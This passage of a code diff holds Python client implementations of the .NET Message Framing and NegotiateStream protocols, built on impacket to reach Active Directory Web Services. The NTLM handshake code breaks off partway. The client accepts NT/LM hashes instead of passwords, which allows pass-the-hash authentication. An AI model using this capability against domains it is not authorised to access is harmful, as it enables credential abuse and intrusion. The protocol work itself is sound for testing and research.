def handle_entityref(self, name):
|
||||
self.handle_data(unescape("&%s;" % name))
|
||||
|
||||
def handle_comment(self, data):
|
||||
if self.data:
|
||||
self._store_data(self.data, False)
|
||||
self.data = None
|
||||
|
||||
self.last_record.childs.append(CommentRecord(data))
|
||||
|
||||
def parse_marked_section(self, i, report=1):
|
||||
rawdata = self.rawdata
|
||||
assert rawdata[i : i + 3] == "<![", "unexpected call to parse_marked_section()"
|
||||
sectName, j = self._scan_name(i + 3, i)
|
||||
if j < 0:
|
||||
return j
|
||||
|
||||
match = None
|
||||
if sectName in ("temp", "cdata", "ignore", "include", "rcdata"):
|
||||
# look for standard ]]> ending
|
||||
match = _markedsectionclose.search(rawdata, i + 3)
|
||||
elif sectName in ("if", "else", "endif"):
|
||||
# look for MS Office ]> ending
|
||||
match = _msmarkedsectionclose.search(rawdata, i + 3)
|
||||
else:
|
||||
log.error(
|
||||
"unknown status keyword %r in marked section" % rawdata[i + 3 : j]
|
||||
)
|
||||
|
||||
if not match:
|
||||
return -1
|
||||
if report:
|
||||
if sectName == "cdata":
|
||||
assert rawdata[j] == "["
|
||||
self.handle_data(rawdata[j + 1 : match.start(0)])
|
||||
else:
|
||||
j = match.start(0)
|
||||
self.unknown_decl(rawdata[i + 3 : j])
|
||||
return match.end(0)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, data: str | TextIO):
|
||||
"""
|
||||
Parses a XML String/Fileobject into a Record tree
|
||||
|
||||
Args:
|
||||
data(str | TextIO): a Record tree
|
||||
"""
|
||||
p = cls()
|
||||
xml = None
|
||||
if isinstance(data, str):
|
||||
xml = data
|
||||
elif hasattr(data, "read"):
|
||||
xml = data.read()
|
||||
else:
|
||||
raise ValueError("%s has an incompatible type %s" % (data, type(data)))
|
||||
|
||||
p.feed(xml)
|
||||
|
||||
return p.records
|
||||
+531
@@ -0,0 +1,531 @@
|
||||
import socket
|
||||
from enum import IntEnum
|
||||
from typing import Type
|
||||
|
||||
import impacket.structure
|
||||
|
||||
from .encoder import Encoder
|
||||
from .ms_nns import NNS
|
||||
|
||||
"""
|
||||
[MC-NMF]: .NET Message Framing Protocol. This is the initiator (client) implementation.
|
||||
Only Duplex mode is implmented.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
class RecordType(IntEnum):
|
||||
"""
|
||||
Protocol for record exchange
|
||||
|
||||
[MC-NMF]: 2.2.1
|
||||
"""
|
||||
|
||||
VERSION = 0x0
|
||||
MODE = 0x1
|
||||
VIA = 0x2
|
||||
KNOWN_ENCODING = 0x3
|
||||
EXTENSIBLE_ENCODING = 0x4
|
||||
UNSIZED_ENVELOPE = 0x5
|
||||
SIZED_ENVELOPE = 0x6
|
||||
END = 0x7
|
||||
FAULT = 0x8
|
||||
UPGRADE_REQUEST = 0x9
|
||||
UPGRADE_RESPONSE = 0xA
|
||||
PREAMBLE_ACK = 0xB
|
||||
PREAMBLE_END = 0xC
|
||||
|
||||
|
||||
class Mode(IntEnum):
|
||||
"""Communication mode
|
||||
|
||||
[MC-NMF]: 2.2.3.2
|
||||
"""
|
||||
|
||||
SINGELTON_UNSIZED = 0x1
|
||||
DUPLEX = 0x2
|
||||
SIMPLEX = 0x3
|
||||
SINGLETON_SIZED = 0x4
|
||||
|
||||
|
||||
class KnownEncoding(IntEnum):
|
||||
"""Encoding Envelope Records
|
||||
|
||||
[MC-NMF]: 2.2.3.4.1
|
||||
"""
|
||||
|
||||
# soap 1.1
|
||||
SOAP1_1_UTF8 = 0x0 # [RFC2279]
|
||||
SOAP1_1_UTF16 = 0x1 # [RFC2781]
|
||||
SOAP1_1_UNICODE_LE = 0x2
|
||||
|
||||
# soap 1.2
|
||||
SOAP1_2_UTF8 = 0x3
|
||||
SOAP1_2_UTF16 = 0x4
|
||||
SOAP1_2_UNICODE = 0x5
|
||||
SOAP1_2_MTOM = 0x6 # [SOAP-MTOM]
|
||||
SOAP1_2_BINARY = 0x7 # [MC-NBFS]
|
||||
SOAP1_2_BINARY_INBAND_DICT = 0x8 # [MC-NBFSE]
|
||||
|
||||
|
||||
class NMFServerFault(Exception): ...
|
||||
|
||||
|
||||
class NMFUnknownRecord:
|
||||
def __init__(self, data=""):
|
||||
raise NMFServerFault(f"NMFUnknownRecord type {data}")
|
||||
|
||||
|
||||
class NMFRecord(impacket.structure.Structure):
|
||||
structure: tuple[tuple[str, str] | tuple[str, str, object], ...]
|
||||
|
||||
def send(self, sock: socket.socket | NNS):
|
||||
sock.sendall(self.getData())
|
||||
|
||||
@staticmethod
|
||||
def encode_size(size: int) -> bytes:
|
||||
"""NMF variable size encoding for records.
|
||||
|
||||
[MC-NMF]: 2.2.2
|
||||
|
||||
Args:
|
||||
size (int): size of the record payload
|
||||
|
||||
Returns:
|
||||
bytes: packed and encoded size as bytes
|
||||
"""
|
||||
MAXMBI = 0x7F
|
||||
if size < 0:
|
||||
raise ValueError("Signed numbers are not supported")
|
||||
|
||||
if size <= MAXMBI:
|
||||
return bytes([size])
|
||||
|
||||
result = []
|
||||
for _ in range(5):
|
||||
byte = size & MAXMBI
|
||||
size >>= 7
|
||||
if size != 0:
|
||||
byte |= MAXMBI + 1
|
||||
result.append(byte)
|
||||
|
||||
if size == 0:
|
||||
break
|
||||
|
||||
return bytes(result)
|
||||
|
||||
@staticmethod
|
||||
def decode_size(encoded_data: bytes) -> tuple[int, int, bytes]:
|
||||
"""NMF decode size of record payload.
|
||||
|
||||
Returns the size of the payload, and also the number of bytes the size
|
||||
value takes. The size field is variable length.
|
||||
|
||||
To use this method, first slice off the record type so that the first
|
||||
field in the encoded_data is the size feild
|
||||
|
||||
The size feild can be max 5 bytes long.
|
||||
|
||||
[MC-NMF]: 2.2.2
|
||||
|
||||
Args:
|
||||
encoded_data (bytes): payload with size included
|
||||
|
||||
Returns:
|
||||
tuple[int, int, bytes]: size of the payload, the number of bytes in the size field, the payload
|
||||
"""
|
||||
|
||||
size = 0
|
||||
shift = 0
|
||||
len_length = 0
|
||||
|
||||
max_len = min(len(encoded_data), 5)
|
||||
|
||||
for i in range(max_len):
|
||||
byte = encoded_data[i]
|
||||
|
||||
len_length += 1
|
||||
size |= (byte & 0x7F) << shift
|
||||
if not (byte & 0x80):
|
||||
return size, len_length, encoded_data[len_length:]
|
||||
shift += 7
|
||||
|
||||
if size > 0xFFFFFFFF:
|
||||
raise ValueError("Size too big")
|
||||
|
||||
return size, 1, encoded_data[1:]
|
||||
|
||||
|
||||
class NMFVersion(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("major_version", ">B"),
|
||||
("minor_version", ">B"),
|
||||
)
|
||||
|
||||
def __init__(
|
||||
self, major_version: int = 0, minor_version: int = 0, data: None | bytes = None
|
||||
):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.VERSION
|
||||
self["major_version"] = major_version
|
||||
self["minor_version"] = minor_version
|
||||
|
||||
|
||||
class NMFMode(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("mode", ">B"),
|
||||
)
|
||||
|
||||
def __init__(self, mode: int = 0, data: None | bytes = None):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.MODE
|
||||
self["mode"] = mode
|
||||
|
||||
|
||||
class NMFVia(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("via_len", ":"), # warning, this is variable length field
|
||||
("via", ":"),
|
||||
)
|
||||
|
||||
def __init__(self, via: str = "", data: None | bytes = None):
|
||||
"""This record has variable length field encoding on the
|
||||
via_len field. Reading 'via_len' will not return a correct
|
||||
value.
|
||||
|
||||
Args:
|
||||
via (str): via to send
|
||||
data (bytes): a packed full length record
|
||||
"""
|
||||
impacket.structure.Structure.__init__(self)
|
||||
if data:
|
||||
self["record_type"] = data[0]
|
||||
_, _, payload = self.decode_size(data[1:])
|
||||
self["via"] = payload.decode("utf-8")
|
||||
else:
|
||||
self["record_type"] = RecordType.VIA
|
||||
self["via_len"] = self.encode_size(len(via.encode("utf-8")))
|
||||
self["via"] = via.encode("utf-8")
|
||||
|
||||
|
||||
class NMFKnownEncoding(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("encoding", ">B"),
|
||||
)
|
||||
|
||||
def __init__(self, encoding: int = 0, data: None | bytes = None):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.KNOWN_ENCODING
|
||||
self["encoding"] = encoding
|
||||
|
||||
|
||||
class NMFExtensibleEncoding(NMFRecord): ...
|
||||
|
||||
|
||||
class NMFSizedEnvelope(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("size", ":"),
|
||||
("payload", ":"),
|
||||
)
|
||||
|
||||
def __init__(self, payload: bytes = bytes(), data: None | bytes = None):
|
||||
"""This record has variable length field encoding on the
|
||||
'size' field. Reading 'size' will not return a correct
|
||||
value.
|
||||
|
||||
Args:
|
||||
payload (bytes): payload to send
|
||||
data (bytes): a packed sized envelope record
|
||||
"""
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if data:
|
||||
self["record_type"] = data[0]
|
||||
_, _, env_payload = self.decode_size(data[1:])
|
||||
self["payload"] = env_payload
|
||||
else:
|
||||
self["record_type"] = RecordType.SIZED_ENVELOPE
|
||||
self["size"] = self.encode_size(len(payload))
|
||||
self["payload"] = payload
|
||||
|
||||
|
||||
class NMFEnd(NMFRecord):
|
||||
structure = (("record_type", ">B"),)
|
||||
|
||||
def __init__(self, data: None | bytes = None):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.END
|
||||
|
||||
|
||||
class NMFUnsizedEnvelope(NMFRecord): ...
|
||||
|
||||
|
||||
class NMFFault(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("size", ":"),
|
||||
("fault", ":"),
|
||||
)
|
||||
|
||||
def __init__(self, fault: str = "", data: None | bytes = None):
|
||||
"""This record has variable length field encoding on the
|
||||
'size' field. Reading 'size' will not return a correct
|
||||
value.
|
||||
|
||||
Args:
|
||||
fault (str): fault msg to send
|
||||
data (bytes): a packed full length record
|
||||
"""
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if data:
|
||||
self["record_type"] = data[0]
|
||||
_, _, payload = self.decode_size(data[1:])
|
||||
self["fault"] = payload.decode("utf-8")
|
||||
|
||||
else:
|
||||
self["record_type"] = RecordType.FAULT
|
||||
self["size"] = self.encode_size(len(fault.encode("utf-8")))
|
||||
self["fault"] = fault.encode("utf-8")
|
||||
|
||||
|
||||
class NMFUpgradeRequest(NMFRecord):
|
||||
structure = (
|
||||
("record_type", ">B"),
|
||||
("proto_len", ":"),
|
||||
("proto", ":"),
|
||||
)
|
||||
|
||||
def __init__(self, proto: str = "application/negotiate", data: None | bytes = None):
|
||||
"""This record has variable length field encoding on the
|
||||
'proto_len' field. Reading 'proto_len' will not return a correct
|
||||
value.
|
||||
|
||||
Args:
|
||||
proto (str): proto to send
|
||||
data (bytes): a packed full length record
|
||||
"""
|
||||
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
|
||||
if data:
|
||||
self["record_type"] = data[0]
|
||||
_, _, payload = self.decode_size(data[1:])
|
||||
self["proto"] = payload.decode("utf-8")
|
||||
else:
|
||||
self["record_type"] = RecordType.UPGRADE_REQUEST
|
||||
self["proto_len"] = self.encode_size(len(proto.encode("utf-8")))
|
||||
self["proto"] = proto.encode("utf-8")
|
||||
|
||||
|
||||
class NMFUpgradeResponse(NMFRecord):
|
||||
structure = (("record_type", ">B"),)
|
||||
|
||||
def __init__(self, data: None | bytes = None):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.UPGRADE_RESPONSE
|
||||
|
||||
|
||||
class NMFPreambleEnd(NMFRecord):
|
||||
structure = (("record_type", ">B"),)
|
||||
|
||||
def __init__(self, data: None | bytes = None):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.PREAMBLE_END
|
||||
|
||||
|
||||
class NMFPreambleAck(NMFRecord):
|
||||
structure = (("record_type", ">B"),)
|
||||
|
||||
def __init__(self, data: None | bytes = None):
|
||||
impacket.structure.Structure.__init__(self, data=data)
|
||||
if not data:
|
||||
self["record_type"] = RecordType.PREAMBLE_ACK
|
||||
|
||||
|
||||
class NMFPreamble(NMFRecord):
|
||||
structure = (
|
||||
("version", ":"),
|
||||
("mode", ":"),
|
||||
("via", ":"),
|
||||
("encoding", ":"),
|
||||
)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
version: tuple[int, int] = (1, 1),
|
||||
mode: int = 0,
|
||||
via: str = "",
|
||||
encoding: int = 0,
|
||||
):
|
||||
impacket.structure.Structure.__init__(self)
|
||||
self["version"] = NMFVersion(*version).getData()
|
||||
self["mode"] = NMFMode(mode).getData()
|
||||
self["via"] = NMFVia(via).getData()
|
||||
self["encoding"] = NMFKnownEncoding(encoding).getData()
|
||||
|
||||
|
||||
class NMFConnection:
|
||||
def __init__(
|
||||
self,
|
||||
nns: NNS,
|
||||
fqdn: str,
|
||||
mode: int = Mode.DUPLEX,
|
||||
encoding: int = KnownEncoding.SOAP1_2_BINARY_INBAND_DICT,
|
||||
):
|
||||
"""
|
||||
Args:
|
||||
nns (NNS): NNS Connection object
|
||||
fqdn (str): FQDN of endpoint we wish to talk to
|
||||
"""
|
||||
|
||||
self._nns: NNS = nns
|
||||
self._sock: socket.socket = nns._sock
|
||||
|
||||
# before being upgraded, the transport is raw socket
|
||||
self._transport: NNS | socket.socket = self._sock
|
||||
|
||||
self._mode = mode
|
||||
self._encoding = encoding
|
||||
self._fqdn = fqdn
|
||||
|
||||
self._encoder = Encoder(self._encoding)
|
||||
|
||||
def _throw_if_not(self, expected: Type[NMFRecord], got: NMFRecord):
|
||||
"""Allows for quick validation of expected responses. If not expected
|
||||
checks for fault, and throws
|
||||
|
||||
Args:
|
||||
expected (NMFRecord): the type you expected
|
||||
got (NMFRecord): what you have
|
||||
"""
|
||||
|
||||
if not isinstance(got, expected):
|
||||
if isinstance(got, NMFFault):
|
||||
raise ConnectionError(got["fault"])
|
||||
raise ConnectionError(
|
||||
f"Unexpected server response. Expected {expected['record_type']}, got {got['record_type']}"
|
||||
)
|
||||
|
||||
def _upgrade(self):
|
||||
"""Upgrade if using NNS for transport,
|
||||
otherwise do nothing. This allows for support
|
||||
of unauthenticated transport for things like MEX
|
||||
"""
|
||||
|
||||
if not isinstance(self._nns, NNS):
|
||||
return
|
||||
|
||||
NMFUpgradeRequest().send(self._transport)
|
||||
|
||||
# wait for ack
|
||||
self._throw_if_not(NMFUpgradeResponse, self._recv())
|
||||
|
||||
# nns auth
|
||||
self._nns.auth_ntlm()
|
||||
|
||||
# switch to upgraded transport now
|
||||
self._transport = self._nns
|
||||
|
||||
def connect(self, resource: str):
|
||||
"""Establish connection to server. Set up all the communication
|
||||
channels that are nessisary to begin data exchanges.
|
||||
|
||||
Send NMF preamble
|
||||
Upgrade to NNS
|
||||
NNS Auth
|
||||
End NMF preamble
|
||||
|
||||
Args:
|
||||
resource (str): Resource to request in the via
|
||||
|
||||
Raises:
|
||||
NMFServerFault: Raises when the server ack upgrade request
|
||||
or the preamble end, indicating connection falure.
|
||||
"""
|
||||
|
||||
# send the preamble
|
||||
NMFPreamble(
|
||||
version=(1, 0),
|
||||
mode=self._mode,
|
||||
via=f"net.tcp://{self._fqdn}:9389/ActiveDirectoryWebServices/{resource}",
|
||||
encoding=self._encoding,
|
||||
).send(self._transport)
|
||||
|
||||
self._upgrade()
|
||||
|
||||
# preamble end
|
||||
NMFPreambleEnd().send(self._transport)
|
||||
|
||||
# wait for ack
|
||||
self._throw_if_not(NMFPreambleAck, self._recv())
|
||||
|
||||
def _end_record(self) -> None:
|
||||
"""Send an end record"""
|
||||
NMFEnd().send(self._transport)
|
||||
|
||||
def send(self, data: str):
|
||||
"""Send data to server in an envelope msg. This assumes that
|
||||
the current mode is duplex or simplex.
|
||||
|
||||
Args:
|
||||
data (str): data to send
|
||||
"""
|
||||
encoding_data: bytes = self._encoder.encode(data)
|
||||
NMFSizedEnvelope(payload=encoding_data).send(self._transport)
|
||||
|
||||
def recv(self) -> str:
|
||||
"""Receive data from the transport mechanism. Automatically
|
||||
decodes the data based on selected transport encoding
|
||||
type.
|
||||
|
||||
Returns:
|
||||
(str): received and decoded data
|
||||
Raises:
|
||||
NMFServerFault: Raises if not data transport msg
|
||||
"""
|
||||
pkt = self._recv()
|
||||
|
||||
self._throw_if_not(NMFSizedEnvelope, pkt)
|
||||
|
||||
return self._encoder.decode(pkt["payload"])
|
||||
|
||||
def _recv(self) -> NMFRecord:
|
||||
"""Read a packet from the network transport layer and
|
||||
return the object version of the packet
|
||||
|
||||
Returns:
|
||||
NMFRecord: Correct NMF object
|
||||
"""
|
||||
|
||||
jump_table = {
|
||||
0x0: NMFVersion,
|
||||
0x1: NMFMode,
|
||||
0x2: NMFVia,
|
||||
0x3: NMFKnownEncoding,
|
||||
0x4: NMFExtensibleEncoding,
|
||||
0x5: NMFUnsizedEnvelope,
|
||||
0x6: NMFSizedEnvelope,
|
||||
0x7: NMFEnd,
|
||||
0x8: NMFFault,
|
||||
0x9: NMFUpgradeRequest,
|
||||
0xA: NMFUpgradeResponse,
|
||||
0xB: NMFPreambleAck,
|
||||
0xC: NMFPreambleEnd,
|
||||
}
|
||||
|
||||
data: bytes = self._transport.recv(4096)
|
||||
|
||||
record_type: int = data[0]
|
||||
|
||||
# simplifed object factory, takes type and returns NMFRecords
|
||||
return jump_table.get(record_type, NMFUnknownRecord)(data=data)
|
||||
+434
@@ -0,0 +1,434 @@
|
||||
import logging
|
||||
import socket
|
||||
|
||||
import impacket.examples.logger
|
||||
import impacket.ntlm
|
||||
import impacket.spnego
|
||||
import impacket.structure
|
||||
from Cryptodome.Cipher import ARC4
|
||||
from impacket.hresult_errors import ERROR_MESSAGES
|
||||
|
||||
from .encoder.records.utils import Net7BitInteger
|
||||
|
||||
|
||||
def hexdump(data, length=16):
|
||||
def to_ascii(byte):
|
||||
if 32 <= byte <= 126:
|
||||
return chr(byte)
|
||||
else:
|
||||
return "."
|
||||
|
||||
def format_line(offset, line_bytes):
|
||||
hex_part = " ".join(f"{byte:02X}" for byte in line_bytes)
|
||||
ascii_part = "".join(to_ascii(byte) for byte in line_bytes)
|
||||
return f"{offset:08X} {hex_part:<{length*3}} {ascii_part}"
|
||||
|
||||
lines = []
|
||||
for i in range(0, len(data), length):
|
||||
line_bytes = data[i : i + length]
|
||||
lines.append(format_line(i, line_bytes))
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
class NNS_pkt(impacket.structure.Structure):
|
||||
structure: tuple[tuple[str, str], ...]
|
||||
|
||||
def send(self, sock: socket.socket):
|
||||
sock.sendall(self.getData())
|
||||
|
||||
|
||||
class NNS_handshake(NNS_pkt):
|
||||
structure = (
|
||||
("message_id", ">B"),
|
||||
("major_version", ">B"),
|
||||
("minor_version", ">B"),
|
||||
("payload_len", ">H-payload"),
|
||||
("payload", ":"),
|
||||
)
|
||||
|
||||
# During negotitiate, payload will be the GSSAPI, containing SPNEGO
|
||||
# w/ NTLMSSP for NTLM or
|
||||
# w/ krb5_blob for the AP REQ)
|
||||
|
||||
# For NTLM
|
||||
# NNS Headers
|
||||
# |_ Payload ( GSS-API )
|
||||
# |_ SPNEGO ( NegTokenInit )
|
||||
# |_ NTLMSSP
|
||||
|
||||
# For Kerberos
|
||||
# NNS Headers
|
||||
# |_ Payload ( GSS-API )
|
||||
# |_ SPNEGO ( NegTokenInit )
|
||||
# |_ krb5_blob
|
||||
# |_ Kerberos ( AP REQ )
|
||||
|
||||
###
|
||||
|
||||
# During challenge, payload will be the GSSAPI, containing SPNEGO
|
||||
# w/ NTLMSSP for NTLM or
|
||||
# w/ krb5_blob for the AP REQ)
|
||||
|
||||
# For NTLM
|
||||
# NNS Headers
|
||||
# |_ Payload ( GSS-API, SPNEGO, no GSS-API headers )
|
||||
# |_ NegTokenTarg ( NegTokenResp )
|
||||
# |_ NTLMSSP
|
||||
|
||||
def __init__(
|
||||
self, message_id: int, major_version: int, minor_version: int, payload: bytes
|
||||
):
|
||||
impacket.structure.Structure.__init__(self)
|
||||
self["message_id"] = message_id
|
||||
self["major_version"] = major_version
|
||||
self["minor_version"] = minor_version
|
||||
self["payload"] = payload
|
||||
|
||||
|
||||
class NNS_data(NNS_pkt):
|
||||
# NNS data message, used after auth is completed
|
||||
|
||||
structure = (
|
||||
("payload_size", "<L-payload"),
|
||||
("payload", ":"),
|
||||
)
|
||||
|
||||
|
||||
class NNS_Signed_payload(impacket.structure.Structure):
|
||||
structure = (
|
||||
("signature", ":"),
|
||||
("cipherText", ":"),
|
||||
)
|
||||
|
||||
|
||||
class MessageID:
|
||||
IN_PROGRESS: int = 0x16
|
||||
ERROR: int = 0x15
|
||||
DONE: int = 0x14
|
||||
|
||||
|
||||
class NNS:
|
||||
"""[MS-NNS]: .NET NegotiateStream Protocol
|
||||
|
||||
The .NET NegotiateStream Protocol provides mutually authenticated
|
||||
and confidential communication over a TCP connection.
|
||||
|
||||
It defines a framing mechanism used to transfer (GSS-API) security tokens
|
||||
between a client and server. It also defines a framing mechanism used
|
||||
to transfer signed and/or encrypted application data once the GSS-API
|
||||
security context initialization has completed.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
socket: socket.socket,
|
||||
fqdn: str,
|
||||
domain: str,
|
||||
username: str,
|
||||
password: str | None = None,
|
||||
nt: str = "",
|
||||
lm: str = "",
|
||||
):
|
||||
self._sock = socket
|
||||
|
||||
self._nt = self._fix_hashes(nt)
|
||||
self._lm = self._fix_hashes(lm)
|
||||
|
||||
self._username = username
|
||||
self._password = password
|
||||
|
||||
self._domain = domain
|
||||
self._fqdn = fqdn
|
||||
|
||||
self._session_key: bytes = b""
|
||||
self._flags: int = -1
|
||||
self._sequence: int = 0
|
||||
|
||||
def _fix_hashes(self, hash: str | bytes) -> bytes | str:
|
||||
"""fixes up hash if present into bytes and
|
||||
ensures length is 32.
|
||||
|
||||
If no hash is present, returns empty bytes
|
||||
|
||||
Args:
|
||||
hash (str | bytes): nt or lm hash
|
||||
|
||||
Returns:
|
||||
bytes: bytes version
|
||||
"""
|
||||
|
||||
if not hash:
|
||||
return ""
|
||||
|
||||
if len(hash) % 2:
|
||||
hash = hash.zfill(32)
|
||||
|
||||
return bytes.fromhex(hash) if isinstance(hash, str) else hash
|
||||
|
||||
def seal(self, data: bytes) -> tuple[bytes, bytes]:
|
||||
"""seals data with the current context
|
||||
|
||||
Args:
|
||||
data (bytes): bytes to seal
|
||||
|
||||
Returns:
|
||||
tuple[bytes, bytes]: output_data, signature
|
||||
"""
|
||||
|
||||
server = bool(
|
||||
self._flags & impacket.ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
|
||||
)
|
||||
|
||||
output, sig = impacket.ntlm.SEAL(
|
||||
self._flags,
|
||||
self._server_signing_key if server else self._client_signing_key,
|
||||
self._server_sealing_key if server else self._client_sealing_key,
|
||||
data,
|
||||
data,
|
||||
self._sequence,
|
||||
self._server_sealing_handle if server else self._client_sealing_handle,
|
||||
)
|
||||
|
||||
return output, sig.getData()
|
||||
|
||||
def recv(self, _: int = 0) -> bytes:
|
||||
"""Recive an NNS packet and return the entire
|
||||
decrypted contents.
|
||||
|
||||
The paramiter is used to allow interoperability with socket.socket.recv.
|
||||
Does not respect any passed buffer sizes.
|
||||
|
||||
Args:
|
||||
_ (int, optional): For interoperability with socket.socket. Defaults to 0.
|
||||
|
||||
Returns:
|
||||
bytes: unsealed nns message
|
||||
"""
|
||||
first_pkt = self._recv()
|
||||
|
||||
# if it isnt an envelope, throw it back
|
||||
if first_pkt[0] != 0x06:
|
||||
return first_pkt
|
||||
|
||||
nmfsize, nmflenlen = Net7BitInteger.decode7bit(first_pkt[1:])
|
||||
|
||||
# its all just one packet
|
||||
if nmfsize < 0xFC30:
|
||||
return first_pkt
|
||||
|
||||
# otherwise, we have a multi part message
|
||||
pkt = first_pkt
|
||||
nmfsize -= len(first_pkt[nmflenlen:])
|
||||
|
||||
while nmfsize > 0:
|
||||
thisFragment = self._recv()
|
||||
|
||||
pkt += thisFragment
|
||||
nmfsize -= len(thisFragment)
|
||||
|
||||
return pkt
|
||||
|
||||
def _recv(self, _: int = 0) -> bytes:
|
||||
"""Recive an NNS packet and return the entire
|
||||
decrypted contents.
|
||||
|
||||
The paramiter is used to allow interoperability with socket.socket.recv.
|
||||
Does not respect any passed buffer sizes.
|
||||
"""
|
||||
nns_data = NNS_data()
|
||||
size = int.from_bytes(self._sock.recv(4), "little")
|
||||
|
||||
payload = b""
|
||||
while len(payload) != size:
|
||||
payload += self._sock.recv(size - len(payload))
|
||||
nns_data["payload"] = payload
|
||||
|
||||
nns_signed_payload = NNS_Signed_payload()
|
||||
nns_signed_payload["signature"] = nns_data["payload"][0:16]
|
||||
nns_signed_payload["cipherText"] = nns_data["payload"][16:]
|
||||
|
||||
clearText, sig = self.seal(nns_signed_payload["cipherText"])
|
||||
return clearText
|
||||
|
||||
def sendall(self, data: bytes):
|
||||
"""send to server in NTLM sealed NNS data packet via tcp socket.
|
||||
|
||||
Args:
|
||||
data (bytes): utf-16le encoded payload data
|
||||
"""
|
||||
|
||||
cipherText, sig = impacket.ntlm.SEAL(
|
||||
self._flags,
|
||||
self._client_signing_key,
|
||||
self._client_sealing_key,
|
||||
data,
|
||||
data,
|
||||
self._sequence,
|
||||
self._client_sealing_handle,
|
||||
)
|
||||
|
||||
# build the NNS data packet to use
|
||||
pkt = NNS_data()
|
||||
|
||||
# then we build the payload, which is the signature prepended
|
||||
# on the actual ciphertext. This goes in the payload of
|
||||
# the NNS data packet
|
||||
payload = NNS_Signed_payload()
|
||||
payload["signature"] = sig
|
||||
payload["cipherText"] = cipherText
|
||||
pkt["payload"] = payload.getData()
|
||||
|
||||
self._sock.sendall(pkt.getData())
|
||||
|
||||
# and we increment the sequence number after sending
|
||||
self._sequence += 1
|
||||
|
||||
def auth_ntlm(self) -> None:
|
||||
"""Authenticate to the dest with NTLMV2 authentication"""
|
||||
|
||||
# Initial negotiation sent from client
|
||||
NegTokenInit: impacket.spnego.SPNEGO_NegTokenInit
|
||||
NtlmSSP_nego: impacket.ntlm.NTLMAuthNegotiate
|
||||
|
||||
# Generate a NTLMSSP
|
||||
NtlmSSP_nego = impacket.ntlm.getNTLMSSPType1(
|
||||
workstation="", # These fields don't get populated for some reason
|
||||
domain="", # These fields don't get populated for some reason
|
||||
signingRequired=True, # TODO: Somehow determine this; can we send a Negotiate Protocol Request and derive this dynamically?
|
||||
use_ntlmv2=True, # TODO: See above comment
|
||||
)
|
||||
|
||||
# Generate the NegTokenInit
|
||||
# Impacket has this inherit from GSSAPI, so we will also have the OID and other headers :D
|
||||
NegTokenInit = impacket.spnego.SPNEGO_NegTokenInit()
|
||||
NegTokenInit["MechTypes"] = [
|
||||
impacket.spnego.TypesMech[
|
||||
"NTLMSSP - Microsoft NTLM Security Support Provider"
|
||||
],
|
||||
impacket.spnego.TypesMech["MS KRB5 - Microsoft Kerberos 5"],
|
||||
impacket.spnego.TypesMech["KRB5 - Kerberos 5"],
|
||||
impacket.spnego.TypesMech[
|
||||
"NEGOEX - SPNEGO Extended Negotiation Security Mechanism"
|
||||
],
|
||||
]
|
||||
NegTokenInit["MechToken"] = NtlmSSP_nego.getData()
|
||||
|
||||
# Fit it all into an NNS NTLMSSP_NEGOTIATE Message
|
||||
# Begin authentication ( NTLMSSP_NEGOTIATE )
|
||||
NNS_handshake(
|
||||
message_id=MessageID.IN_PROGRESS,
|
||||
major_version=1,
|
||||
minor_version=0,
|
||||
payload=NegTokenInit.getData(),
|
||||
).send(self._sock)
|
||||
|
||||
# Response with challenge from server
|
||||
NNS_msg_chall: NNS_handshake
|
||||
s_NegTokenTarg: impacket.spnego.SPNEGO_NegTokenResp
|
||||
NTLMSSP_chall: impacket.ntlm.NTLMAuthChallenge
|
||||
|
||||
# Receive the NNS NTLMSSP_Challenge
|
||||
NNS_msg_chall = NNS_handshake(
|
||||
message_id=int.from_bytes(self._sock.recv(1), "big"),
|
||||
major_version=int.from_bytes(self._sock.recv(1), "big"),
|
||||
minor_version=int.from_bytes(self._sock.recv(1), "big"),
|
||||
payload=self._sock.recv(int.from_bytes(self._sock.recv(2), "big")),
|
||||
)
|
||||
|
||||
# Extract the NegTokenResp ( NegTokenTarg )
|
||||
# Note: Potentially consider SupportedMech from s_NegTokenTarg for determining stuff like signing?
|
||||
s_NegTokenTarg = impacket.spnego.SPNEGO_NegTokenResp(NNS_msg_chall["payload"])
|
||||
|
||||
# Create an NtlmAuthChallenge from the NTLMSSP ( ResponseToken )
|
||||
NTLMSSP_chall = impacket.ntlm.NTLMAuthChallenge(s_NegTokenTarg["ResponseToken"])
|
||||
|
||||
# TODO: see if this is relevant https://github.com/fortra/impacket/blob/15eff8805116007cfb59332a64194a5b9c8bcf25/impacket/smb3.py#L1015
|
||||
# if NTLMSSP_chall[ 'TargetInfoFields_len' ] > 0:
|
||||
# av_pairs = impacket.ntlm.AV_PAIRS( NTLMSSP_chall[ 'TargetInfoFields' ][ :NTLMSSP_chall[ 'TargetInfoFields_len' ] ] )
|
||||
# if av_pairs[ impacket.ntlm.NTLMSSP_AV_HOSTNAME ] is not None:
|
||||
# print( "TODO AV PAIRS IDK IF ITS RELEVANT" )
|
||||
|
||||
# Response with authentication from client
|
||||
